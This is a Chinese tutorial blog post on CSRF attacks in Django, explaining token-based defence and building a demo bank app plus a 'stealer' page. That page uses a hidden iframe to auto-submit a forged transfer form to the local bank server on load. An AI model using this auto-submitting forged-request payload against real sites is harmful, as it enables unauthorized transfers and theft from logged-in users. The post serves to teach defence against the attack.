django下的csrf攻击原理分析和防御实战

伪造原理分析:网站是通过cookie来实现登录功能的。而cookie只要存在浏览器中,那么浏览器在访问这个cookie的服务器的时候,就会自动的携带cookie信息到服务器上去。那么这时候就存在一个漏洞了,如果你访问了一个别有用心或病毒网站,这个网站可以在网页源代码中插入js代码,使用js代码给其他服务器发送请求(比如ICBC的转账请求)。那么因为在发送请求的时候,浏览器会自动的把cookie发送给对应的服务器,这时候相应的服务器(比如ICBC网站),就不知道这个请求是伪造的,就被欺骗过去了。从而达到在用户不知情的情况下,给某个服务器发送了一个请求(比如转账)。

防御CSRF攻击 : CSRF攻击的要点就是在向服务器发送请求的时候,相应的cookie会自动的发送给对应的服务器。造成服务器不知道这个请求是用户发起的还是伪造的。这时候,我们可以在用户每次访问有表单的页面的时候,在网页源代码中加一个随机的字符串叫做csrf_token,在cookie中也加入一个相同值的csrf_token字符串。以后给服务器发送请求的时候,必须在body中以及cookie中都携带csrf_token,服务器只有检测到cookie中的csrf_token和body中的csrf_token都相同,才认为这个请求是正常的,否则就是伪造的。那么黑客就没办法伪造请求了。在Django中,如果想要防御CSRF攻击,应该做两步工作。第一个是在settings.MIDDLEWARE中添加CsrfMiddleware中间件。第二个是在模版代码中添加一个input标签,加载csrf_token。示例代码如下:

服务器代码:


  MIDDLEWARE= [ 
  'django.middleware.security.SecurityMiddleware', 
  'django.middleware.gzip.GZipMiddleware',
  'django.contrib.sessions.middleware.SessionMiddleware',
  'django.middleware.common.CommonMiddleware',
  'django.middleware.csrf.CsrfViewMiddleware',
  'django.contrib.auth.middleware.AuthenticationMiddleware',
  'django.contrib.messages.middleware.MessageMiddleware',
  'django.middleware.clickjacking.XFrameOptionsMiddleware']

模版代码:

<input type="hidden" name="csrfmiddlewaretoken" value="{{ csrf_token }}"/>

或者是直接使用csrf_token标签,来自动生成一个带有csrf token的input标签:

{% csrf_token %}

使用ajax处理csrf防御
如果用ajax来处理csrf防御,那么需要手动的在form中添加csrfmiddlewaretoken,或者是在请求头中添加X-CSRFToken。我们可以从返回的cookie中提取csrf token,再设置进去。示例代码如下:

function getCookie(name) {
    var cookieValue = null;
    if (document.cookie && document.cookie !== '') {
        var cookies = document.cookie.split(';');
        for (var i = 0; i < cookies.length; i++) {
            var cookie = jQuery.trim(cookies[i]);
            // Does this cookie string begin with the name we want?
            if (cookie.substring(0, name.length + 1) === (name + '=')) {
                cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
                break;
            }
        }
    }
    return cookieValue;
}

var myajax = {
    'get': function (args) {
        args['method'] = 'get';
        this.ajax(args);
    },
    'post': function (args) {
        args['method'] = 'post';
        this._ajaxSetup();
        this.ajax(args);
    },
    'ajax': function (args) {
        $.ajax(args);
    },
    '_ajaxSetup': function () {
        $.ajaxSetup({
            //beforeSend:在范松ajax请求之前需要进行的操作
            beforeSend: function(xhr, settings) {
                //test(str)是正则表达式匹配,str是指明在哪个字符串进行匹配;
                //crossDomain判断是否是同域请求,如果是同域请求则返回Fause
                if (!/^(GET|HEAD|OPTIONS|TRACE)$/.test(settings.type) && !this.crossDomain) {
                    xhr.setRequestHeader("X-CSRFToken", getCookie('csrftoken'));
                }
            }
        });
    }
};

iframe相关知识:

  • iframe可以加载嵌入别的域名下的网页。也就是说可以发送跨域请求。比如我可以在我自己的网页中加载百度的网站,示例代码如下:
    <iframe src="http://www.baidu.com/"></ifrmae>

  • 因为iframe加载的是别的域名下的网页。根据同源策略js只能操作属于本域名下的代码,因此js不能操作通过iframe加载来的DOM元素。

  • 如果ifrmae的src属性为空,那么就没有同源策略的限制,这时候我们就可以操作iframe下面的代码了。并且,如果src为空,那么我们可以在iframe中,给任何域名都可以发送请求。

  • 直接在iframe中写html代码,浏览器是不会加载的。

实例演示:

1. 新建名为icbc项目

2. templates文件如下

index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>中国工商银行</title>
</head>
<body>
    <h1>欢迎来到中国工商银行</h1>
</body>
</html>

login.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>中国工商银行-登录页</title>
</head>
<body>
<h1>中国工商银行-登录</h1>
<form action="" method="post">
    {% csrf_token %}
    <table>
        <tbody>
            <tr>

                <td>邮箱:</td>
                <td><input type="email" name="email"></td>
            </tr>
            <tr>

                <td>密码:</td>
                <td><input type="password" name="password"></td>
            </tr>
            <tr>
                <td></td>
                <td><input type="submit"></td>
            </tr>
        </tbody>
    </table>
</form>
</body>
</html>

register.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>中国工商银行-注册</title>
</head>
<body>
<h1>中国工商银行-注册</h1>
<form action="" method="post">
    {% csrf_token %}
    <table>
        <tbody>
            <tr>

                <td>邮箱:</td>
                <td><input type="email" name="email"></td>
            </tr>
            <tr>

                <td>用户名:</td>
                <td><input type="text" name="username"></td>
            </tr>
            <tr>

                <td>密码:</td>
                <td><input type="password" name="password"></td>
            </tr>
            <tr>
                <td>重复密码:</td>
                <td><input type="password" name="password_repeat"></td>
            </tr>
            <tr>
                <td></td>
                <td><input type="submit"></td>
            </tr>
        </tbody>
    </table>
</form>
</body>
</html>

transfer.html

{% load static %}
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>中国工商银行-转账</title>
    <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script>
{#    <script src="{% static 'myajax.js' %}"></script>#}
{#    <script>#}
{#        $(function () {#}
{#            $("#submit").click(function (event) {#}
{#                event.preventDefault();//阻止默认的处理方法#}
{#                var email = $("input[name='email']").val();#}
{#                var money = $("input[name='money']").val();#}
{##}
{#                myajax.post({#}
{#                    'url': '/transfer/',#}
{#                    'data': {#}
{#                        'email': email,#}
{#                        'money': money#}
{#                    },#}
{#                    'success': function (data) {#}
{#                        // 如果状态码是等于200才会走到success的回调中#}
{#                        console.log(data);#}
{#                    },#}
{#                    'fail': function (error) {#}
{#                        console.log(error);#}
{#                    }#}
{#                });#}
{#            });#}
{#        });#}
{#    </script>#}
</head>
<body>
<h1>中国工商银行-转账</h1>
    <form action="" method="post">
        <table>
            <tbody>
                <tr>
                    <td>转给:</td>
                    <td><input type="text" name="email"></td>
                </tr>
                <tr>
                    <td>金额:</td>
                    <td><input type="text" name="money"></td>
                </tr>
                <tr>
                    <td></td>
                    <td><input type="submit" id="submit" value="提交"></td>
                </tr>
            </tbody>
        </table>
    </form>
</body>
</html>

3. 模型文件如下:

models.py

from django.db import models

class User(models.Model):
    username = models.CharField(max_length=100)
    password = models.CharField(max_length=100)
    email = models.EmailField(max_length=100, null=True)
    balance = models.FloatField() #余额

4.表单文件如下:

forms.py

#encoding: utf-8

from django import forms
from .models import User

class RegisterForm(forms.ModelForm):
    password_repeat = forms.CharField(max_length=20)

    def clean(self):#因为要验证2次密码的输入是否是一致的,而且需要验证的是2个字段以上的才重写这个方法
        #否则的话验证一个字段的话就重写的是message_字段名()这个方法就行了,但是这个方法只能验证一个字段
        #所以在重写的时候需要认真谨慎选择方法!
        cleaned_data = super(RegisterForm, self).clean()
        password = cleaned_data.get('password')
        password_repeat = cleaned_data.get('password_repeat')
        if password != password_repeat:
            raise forms.ValidationError('两次密码输入不一致!')
        return cleaned_data

    class Meta:
        model = User
        fields = ['username','password','email']


class LoginForm(forms.ModelForm):
    class Meta:
        model = User
        fields = ['email','password']

class TransferForm(forms.Form):
    email = forms.CharField(max_length=100)
    money = forms.FloatField()

5. 视图 文件如下:

views.py

from django.shortcuts import render,redirect,reverse
from django.views.generic import View
from .forms import RegisterForm,LoginForm,TransferForm
from .models import User
from django.db.models import F
from django.http import HttpResponse
from .decorators import login_required
from django.utils.decorators import method_decorator

def index(request):
    return render(request,'index.html')

# 登录
class LoginView(View):
    def get(self,request):
        return render(request,'login.html')

    def post(self,request):
        form = LoginForm(request.POST)
        if form.is_valid():
            email = form.cleaned_data.get('email')
            password = form.cleaned_data.get('password')
            user = User.objects.filter(email=email,password=password).first()
            if user:
                request.session['user_id'] = user.pk
                return redirect(reverse('index'))
            else:
                print('用户名或者密码错误!')
                return redirect(reverse('login'))
        else:
            print(form.errors)
            return redirect(reverse('login'))

# 注册
class RegisterView(View):
    def get(self, request):
        return render(request, 'register.html')

    def post(self, request):
        form = RegisterForm(request.POST)
        if form.is_valid():
            email = form.cleaned_data.get('email')
            password = form.cleaned_data.get('password')
            username = form.cleaned_data.get('username')
            User.objects.create(email=email,password=password,username=username,balance=1000)
            return redirect(reverse('login'))
        else:
            form = RegisterForm()
            # errors=form.errors
            return redirect(reverse('register'),{'form':form})


# 转账
@method_decorator(login_required,name='dispatch')
class TransferView(View):
    def get(self, request):
        return render(request, 'transfer.html')

    def post(self, request):
        form = TransferForm(request.POST)
        if form.is_valid():
            email = form.cleaned_data.get('email')
            money = form.cleaned_data.get('money')
            user = request.front_user
            if user.balance >= money:
                User.objects.filter(email=email).update(balance=F('balance')+money)
                user.balance -= money
                user.save()
                return HttpResponse('转账成功!')
            else:
                return HttpResponse('余额不足!')
        else:
            print(form.errors)
            return redirect(reverse('transfer'))


def logout(request):
    request.session.flush()
    return redirect(reverse('index'))




6.迁移后启动服务器(POST端口设置为8000)

7.访问register页面如下图:

1.png

在这里我们随便注册2个用户,我注册的用户如图:

2_看图王.png

8.访问login登陆界面登陆正常的银行账户(此时session已经存在正常银行账号用户的浏览器)

此时我们去建立小偷的服务器,首先新建项目stealer,这个项目很简单

index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>首页</title>
    <script src="http://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>
</head>
<body>
<img src="http://cms-bucket.nosdn.127.net/312e057a25f148519dc02b40812c78fe20170510155251.gif" alt="" width="100%" height="100%">


<iframe id="stealframe" src="" frameborder="0" style="width:0;height:0;">
</iframe>


<div id="box" style="width: 0;height: 0;">
        <form action="http://127.0.0.1:8000/transfer/" method="post" id="myform">
            <input type="text" name="email" value="stealer@zhiliao.com">
            <input type="text" name="money" value="100">

        </form>
</div>


    <script>
        window.onload = function () {
            $('#stealframe').contents().find('html').html($('#myform'));
            $('#stealframe').contents().find('html').children('#myform').submit();
        }
    </script>
</body>
</html>

views.py

#encoding: utf-8
from django.shortcuts import render


def index(request):
    return render(request,'index.html')

设置2个文件即可(其他步骤省略,意会吧),然后启动服务器(这里的服务端口POST设置为80002,因为我是在本机运行2个项目的,所以端口不允许重复,不同机子可以相同端口,比如8000)

然后重要的一步来了,当正常用户在浏览器中点击黑客发给他的链接网站时候会去访问黑客的网站,只要访问这个网站,那么,正常用户的银行账户的钱就会减少100元(2个服务器都启动才能测试成功,一个是icbc服务器,一个小偷的stealer服务器),代码已经给出来了,自己测试下即可!注意,我们需要把icbc项目的csrf设置去掉才可以成功,否则不会转账成功

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,047评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,807评论 3 386
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,501评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,839评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,951评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,117评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,188评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,929评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,372评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,679评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,837评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,536评论 4 335
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,168评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,886评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,129评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,665评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,739评论 2 351

推荐阅读更多精彩内容